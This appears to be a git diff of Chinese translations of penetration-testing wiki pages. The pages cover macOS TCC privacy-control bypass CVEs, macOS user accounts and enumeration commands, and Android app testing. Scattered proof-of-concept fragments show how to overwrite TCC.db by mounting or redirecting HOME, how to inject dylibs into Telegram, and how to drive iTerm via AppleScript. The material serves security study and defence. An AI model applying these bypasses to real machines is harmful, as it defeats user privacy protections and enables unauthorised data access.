<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -37,32 +37,32 @@ asd
../../../macos-privilege-escalation.md
{{#endref}}
### SSH 绕过
### SSH Bypass
默认情况下,通过 **SSH 的访问曾经具有 "完全磁盘访问"**。为了禁用此功能,需要将其列出但禁用(从列表中移除不会删除这些权限):
默认情况下,通过 **SSH 的访问曾经具有 "完全磁盘访问"**。为了禁用此功能,需要将其列出但禁用(从列表中移除不会删除这些权限):
![](<../../../../../images/image (1077).png>)
在这里可以找到一些 **恶意软件如何能够绕过此保护** 的示例:
在这里,您可以找到一些 **恶意软件如何能够绕过此保护** 的示例:
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
> [!CAUTION]
> 请注意,现在要能够启用 SSH需要 **完全磁盘访问**
> 请注意,现在要启用 SSH需要 **完全磁盘访问**
### 处理扩展 - CVE-2022-26767
属性 **`com.apple.macl`** 被赋予文件,以便给 **某个应用程序读取它的权限。****拖放** 文件到应用程序上,或当用户 **双击** 文件以使用 **默认应用程序** 打开时,会设置此属性。
属性 **`com.apple.macl`** 被赋予文件,以便给 **某个应用程序读取它的权限。****拖放** 文件到应用程序上,或当用户 **双击** 文件以使用 **默认应用** 打开时,会设置此属性。
因此,用户可以 **注册一个恶意应用** 来处理所有扩展,并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
### iCloud
权限 **`com.apple.private.icloud-account-access`** 使得**`com.apple.iCloudHelper`** XPC 服务进行通信成为可能,该服务将 **提供 iCloud 令牌**
权限 **`com.apple.private.icloud-account-access`** 可以**`com.apple.iCloudHelper`** XPC 服务进行通信,该服务将 **提供 iCloud 令牌**
**iMovie** 和 **Garageband** 拥有此权限以及其他允许的权限。
有关从该权限 **获取 iCloud 令牌** 的漏洞的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
有关利用该权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / 自动化
@ -74,11 +74,11 @@ asd
macos-apple-scripts.md
{{#endref}}
例如,如果一个应用对 `iTerm` 具有 **自动化权限**,例如在这个例子中 **`Terminal`** 对 iTerm 具有访问权限:
例如,如果一个应用对 **`iTerm`** 具有 **自动化权限**,例如在这个例子中 **`Terminal`** 对 iTerm 具有访问权限:
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
#### 通过 iTerm
#### 在 iTerm 上
没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm并利用它执行操作
```applescript:iterm.script
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
根据 [这篇 Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制传递给它的所有环境变量**。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录****重启** **TCC** daemon然后 **直接修改 TCC 数据库**赋予自己 **所有可用的 TCC 权限**,而无需提示最终用户。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录****重启** **TCC** daemon然后 **直接修改 TCC 数据库**使自己获得 **所有可用的 TCC 权限**,而无需提示最终用户。\
PoC:
```bash
# reset database just in case (no cheating!)
@ -157,7 +157,7 @@ Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** 有一个有趣的功能:当它运行时,它会 **导入**拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件到用户的 "媒体库"。此外,它调用类似于:**`rename(a, b);`** 的操作,其中 `a``b` 是:
**`Music`** 有一个有趣的功能:当它运行时,它会拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件 **导入** 到用户的 "媒体库"。此外,它调用类似于:**`rename(a, b);`** 的操作,其中 `a``b` 是:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
@ -166,12 +166,12 @@ Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔
### SQLITE_SQLLOG_DIR - CVE-2023-32422
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被一个具有 FDA 的进程打开 TCC 数据库,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被覆盖** 为打开的那个。\
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被 **一个具有 FDA 的进程打开 TCC 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被覆盖** 为打开的那个。\
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[ **在演讲中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
### **SQLITE_AUTO_TRACE**
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有的 SQL 查询。许多应用程序使用这个库,因此可以记录它们所有的 SQLite 查询。
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有的 SQL 查询。许多应用程序使用这个库,因此可以记录它们所有的 SQLite 查询。
多个 Apple 应用程序使用这个库来访问 TCC 保护的信息。
```bash
@ -193,16 +193,16 @@ launchctl setenv SQLITE_AUTO_TRACE 1
这并不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`
> [!CAUTION]
> 所以,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得 RCE 并使其访问不同的文件,或者像在这个 CVE 中那样,打开特权应用程序创建的文件并存储一个 FD。
> 所以,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得 RCE 并使其访问不同的文件,或者像这个 CVE 中一样,打开特权应用程序创建的文件并存储一个 FD。
>
> 如果重命名访问一个您控制的文件夹,同时您已修改源文件或拥有其 FD您可以将目标文件或文件夹更改为指向一个符号链接这样您就可以随时写入。
> 如果重命名访问您控制的文件夹,而您已修改源文件或拥有其 FD您可以将目标文件或文件夹更改为指向一个符号链接这样您就可以随时写入。
这是 CVE 中的攻击:例如,要覆盖用户的 `TCC.db`,我们可以:
- 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
- 创建目录 `/Users/hacker/tmp/`
- 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- 通过运行带有此 env 变量的 `Music` 触发漏洞
- 通过运行带有此 env 变量的 `Music` 触发漏洞
- 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX``open()`X 是随机的)
- 在这里我们也 `open()` 这个文件以进行写入,并保持文件描述符
- 原子性地在 `/Users/hacker/tmp``/Users/hacker/ourlink` 之间切换 **在一个循环中**
@ -250,20 +250,20 @@ TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资
## 通过进程注入
有不同的技术可以在进程内部注入代码并滥用其 TCC 权限:
有不同的技术可以将代码注入到进程中并滥用其 TCC 权限:
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
此外,发现的最常见的通过 TCC 的进程注入是通过 **插件(加载库)**。\
插件通常是以库或 plist 形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序具有对 TCC 限制文件的访问(通过授予的权限或权利),**自定义代码也将具有访问权限**。
插件通常是以库或 plist 形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序具有访问 TCC 限制文件的权限(通过授予的权限或权利),**自定义代码也将具有这些权限**。
### CVE-2020-27937 - Directory Utility
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 具有 **`kTCCServiceSystemPolicySysAdminFiles`** 权限,加载了扩展名为 **`.daplug`** 的插件,并且 **没有经过强化** 的运行时。
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 具有权限 **`kTCCServiceSystemPolicySysAdminFiles`**,加载了扩展名为 **`.daplug`** 的插件,并且 **没有经过强化** 的运行时。
为了武器化此 CVE**`NFSHomeDirectory`** 被 **更改**(滥用前的权限),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
为了武器化此 CVE**`NFSHomeDirectory`** 被 **更改**(滥用前的权限),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
有关更多信息,请查看 [**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
@ -346,7 +346,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**,因此可以滥用它以**获取其权限**,例如使用相机录制。您可以[**在写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
注意如何使用环境变量加载库,**创建了一个自定义plist**来注入此库,并使用**`launchctl`**来启动它:
注意如何使用env变量加载库,**创建了一个自定义plist**来注入此库,并使用**`launchctl`**来启动它:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -382,9 +382,9 @@ launchctl load com.telegram.launcher.plist
### 终端脚本
在技术人员使用的计算机上,给终端 **完全磁盘访问 (FDA)** 是很常见的。且可以使用它调用 **`.terminal`** 脚本。
在技术人员使用的计算机上,给终端 **完全磁盘访问 (FDA)** 是很常见的。且可以使用它调用 **`.terminal`** 脚本。
**`.terminal`** 脚本是 plist 文件,例如这个文件,其中包含在 **`CommandString`** 键中执行的命令:
**`.terminal`** 脚本是 plist 文件,例如这个文件,其中包含在 **`CommandString`** 键中执行的命令:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -463,7 +463,15 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
检查**完整的利用**在[**原始写作**](https://theevilbit.github.io/posts/cve-2021-30808/)中。
检查**完整利用**在[**原始写作**](https://theevilbit.github.io/posts/cve-2021-30808/)中。
### CVE-2024-40855
正如在[原始写作](https://www.kandji.io/blog/macos-audit-story-part2)中解释的这个CVE利用了`diskarbitrationd`
公共`DiskArbitration`框架中的函数`DADiskMountWithArgumentsCommon`执行了安全检查。然而,可以通过直接调用`diskarbitrationd`来绕过它,因此可以在路径中使用`../`元素和符号链接。
这使得攻击者能够在任何位置进行任意挂载,包括由于`diskarbitrationd`的权限`com.apple.private.security.storage-exempt.heritable`而覆盖TCC数据库。
### asr
@ -471,7 +479,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
### 位置服务
在**`/var/db/locationd/clients.plist`**中有一个第三个TCC数据库用于指示被允许**访问位置服务**的客户端。\
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库以指示允许**访问位置服务**的客户端。\
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**因此可以挂载我们自己的plist。
## 通过启动应用

View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts
# macOS 用户与外部账户
{{#include ../../banners/hacktricks-training.md}}
## Common Users
## 常见用户
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: 保留给系统守护进程的用户。默认的守护进程账户名称通常以“\_”开头
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: 访客账户,权限非常严格
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Nobody**: 当需要最小权限时,以此用户执行进程
- **Root**
## User Privileges
## 用户权限
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
- **标准用户**:最基本的用户。此用户在尝试安装软件或执行其他高级任务时需要管理员用户授予的权限。他们无法独立完成这些操作。
- **管理员用户**:大多数时候作为标准用户操作,但也被允许执行根操作,例如安装软件和其他管理任务。所有属于管理员组的用户**通过sudoers文件获得root访问权限**。
- **Root**Root是一个被允许执行几乎任何操作的用户受系统完整性保护等保护措施的限制
- 例如root无法将文件放置在`/System`
## External Accounts
## 外部账户
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
MacOS还支持通过外部身份提供者登录例如FaceBook、Google... 执行此工作的主要守护进程是`accountsd``/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`),可以在文件夹`/System/Library/Accounts/Authentication/`中找到用于外部身份验证的插件。\
此外,`accountsd``/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`获取账户类型列表。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# macOS Useful Commands
# macOS 有用命令
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### MacOS 自动枚举工具
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
### 特定的 MacOS 命令
```bash
#System info
date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### 已安装的软件和服务
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
检查安装的**可疑**应用程序和对已安装资源的**权限**
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### 用户进程
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### 创建用户
### Create a user
Without prompts
无提示
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

View File

@ -1,46 +1,31 @@
# Android Applications Pentesting
# Android 应用程序渗透测试
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Android 应用程序基础
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
了解最新的漏洞赏金发布和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并立即与顶级黑客合作!
## Android Applications Basics
强烈建议您开始阅读此页面,以了解与 Android 安全性和 Android 应用程序中最危险组件相关的 **最重要部分**
强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**
{{#ref}}
android-applications-basics.md
{{#endref}}
## ADB (Android Debug Bridge)
## ADB (Android 调试桥)
这是您连接到 Android 设备(模拟或物理)所需的主要工具。\
**ADB** 允许通过 **USB****Network** 从计算机控制设备。此工具使得 **双向复制** 文件、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使 **文件** 双向 **复制**、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
查看以下 [**ADB Commands**](adb-commands.md) 列表,了解如何使用 adb。
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
## Smali
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 期间作为 **多项测试的替代方案** 将非常有用。然后,**始终记住这个可能性**。
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 作为 **多项测试的替代方案** 将非常有用。然后,**始终记住这个可能性**。
## Other interesting tricks
## 其他有趣的技巧
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- [在 Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取 APK:
```bash
adb shell pm list packages
@ -67,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### 寻找有趣的信息
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL**[https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
**Firebase**
@ -79,11 +64,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**Manifest.xml** 中识别的**漏洞**包括:
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试`debuggable="true"`的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
- **网络安全**_res/xml/_ 中的自定义网络安全配置`android:networkSecurityConfig="@xml/network_security_config"`可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **网络安全**_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。FileProviders 的配置也应受到审查。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
- **SDK 版本**`minSdkVersion``targetSDKVersion``maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
@ -92,7 +77,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
实际上,它是**让用户知道他们实际上是在对受害者应用程序执行操作**。
在这里找到更多信息:
@ -102,7 +87,7 @@ tapjacking.md
### 任务劫持
一个**活动**的**`launchMode`** 设置为**`singleTask`**且没有定义任何 `taskAffinity` 是易受任务劫持的。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
一个**活动**如果**`launchMode`** 设置为 **`singleTask`** 且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
更多信息在:
@ -114,12 +99,12 @@ android-task-hijacking.md
**内部存储**
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会利用 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使用 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式,以**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
1. **静态分析:**
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**
2. **动态分析:**
- **验证**应用程序创建的文件上设置的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
**外部存储**
@ -164,7 +149,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**使用不安全和/或过时的算法**
开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用抗暴力破解的哈希并加盐
开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用带盐的抗暴力破解 **哈希**
### 其他检查
@ -192,17 +177,17 @@ react-native-application.md
### 超级打包应用程序
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压这些应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压的文件。**
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压的文件。**
### 自动化静态代码分析
